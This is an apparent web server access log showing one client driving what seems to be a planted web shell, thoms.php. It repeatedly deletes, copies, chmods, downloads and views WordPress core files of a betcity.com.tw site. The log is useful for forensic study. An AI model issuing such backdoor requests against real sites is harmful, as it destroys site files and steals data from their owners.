45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?del=class-wp-user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-atom.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-atom.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fload.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fload.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59446 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59432 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59433 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:52 -0400] "GET /thoms.php?dl=revision.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59430 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14882 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /betcity.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /betcity.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16264 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /betcity.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?del=build&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=build&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?dl=feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59398 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /thoms.php?del=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59428 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:53 -0400] "GET /betcity.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?dl=ms-load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59457 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?dl=feed-rdf.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59435 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /betcity.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /betcity.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:54 -0400] "GET /thoms.php?del=class-snoopy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fquery.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fquery.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?dl=post-formats.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13012 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?del=template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frevision.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frevision.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /betcity.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13620 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:55 -0400] "GET /thoms.php?del=rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59451 "http://163.245.207.76:443/thoms.php?del=rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?del=theme-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /betcity.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14414 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22666 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:56 -0400] "GET /thoms.php?dl=wp-db.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /betcity.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /betcity.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14419 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?dl=block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /betcity.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-templates.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-templates.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /betcity.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:57 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59287 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18036 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12328 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?chmod=author-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /betcity.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:58 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
